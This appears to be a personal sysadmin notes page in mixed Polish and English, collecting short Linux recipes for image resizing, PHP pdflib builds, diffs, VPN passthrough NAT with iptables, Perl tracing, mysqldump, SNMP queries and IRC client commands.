[root:/usr/share/gg2/pixmaps/icons/rozgwiazda]# for file in `ls *.png`; do convert -resize 20x20 ./$file dupa ; mv -f dupa $file ; done
[root:/usr/share/gg2/pixmaps/icons/rozgwiazda]# for file in `ls *.jpg`; do convert -resize 20% ./$file dupa ; mv -f dupa $file ; done
How add PDFlib/libpdf to php in Slackware ?
1) You must recompile php with pdflib support. The easiest way to do this is to get from any Slackware ftp, source directory with php and pine [You will need pine to build php ;]
2) Install pdflib [for example 4.0.3 from kaneda.bohater.net]
3) Add to php.SlackBuild at the end ./configure something like this: --with-pdflib=/usr
4) run php.SlackBuild and it should build Your php package in /tmp/
5) I have a problem with --with-imap options and if I good remember I delete this from configure, but You can email me if You find the way why its broken the compilation, because I dont have time to do this now...
How to make a diff for patch ?
diff -urN dnstop-20050405/dnstop.c /tmp/dnstop.c > dupa.diff
Much better way:
diff -u dnstop.c ./dnstop-20050405 > dupa.patch
[NET] Co zrobic aby dzialal VPN /windows,linux/ za NAT em...
1)
modprobe ip_nat_pptp
modprobe ip_nat_proto_gre
I NAT juz powinien dzieki temu ladnie sobie radzic z VPNem.
2)
Druga metoda jest wpuszczenie do klienta na podstawie adresu zrodlowego
protokolu numer 47
Przykladowo:
iptables -A PREROUTING -t nat -s $IPSERVERAVPN -p 47 -j DNAT --to-destination $IPKLIENT
[VIDEO] Mplayer raw fonts with wincp and iso88592 coding in one font... /faq/fonts.zip
[BASH] Jak zamienic w nazwach plikow spacje na _ bash-spaces.txt
[PERL] Jak zwiekszyc debuging w perlu /ala bash -x/
perldoc perlrun
If you're just trying to get a print out of each line of Perl code as it executes, the way that "sh -x" provides for shell scripts, you can't use Perl's -D switch. Instead do this
# If you have "env" utility
env=PERLDB_OPTS="NonStop=1 AutoTrace=1 frame=2" perl -dS program
# Bourne shell syntax
$ PERLDB_OPTS="NonStop=1 AutoTrace=1 frame=2" perl -dS program
# csh syntax
% (setenv PERLDB_OPTS "NonStop=1 AutoTrace=1 frame=2"; perl -dS pr ogram)
[mysql] Jak zdumpowac wlasciwosci tabeli czy jak skopiowac dana tablice
mysqldump --no-data -u $user -p $baza $tablica
[BASH] Jak find em znalezc wszystkie w miare filmy na dysku :}
find / -name *.[aAmMr][vVpPmM][iIeEgG]
[SNMP] Jak sprawdzic czy pobiera dane z snmpd z danego ip i portu
snmpget -v1 -c haslo 123.123.123.123:555 ssCpuRawUser.0
[IRC] Jak w bitchxie otworzyc nowe okno z polaczeniem i reagowac na powiedziany txt automatycznie via on msg
/window new name mp3 server krakow.irc.pl hide
/on msg "* atak" /say dupaka
[BASH] Jak zrobic petle
echo `i=100; while [ $i -gt 1 ]; do echo "AAAAAA"; let i=($i-1); done`
for i in `seq 1 100`; do echo -n "a" ; done
[LINK] Gdzie sprawdzic online bezpieczenstwo/podatnosc przegladarki internetowej www.scanit.be/bcheck/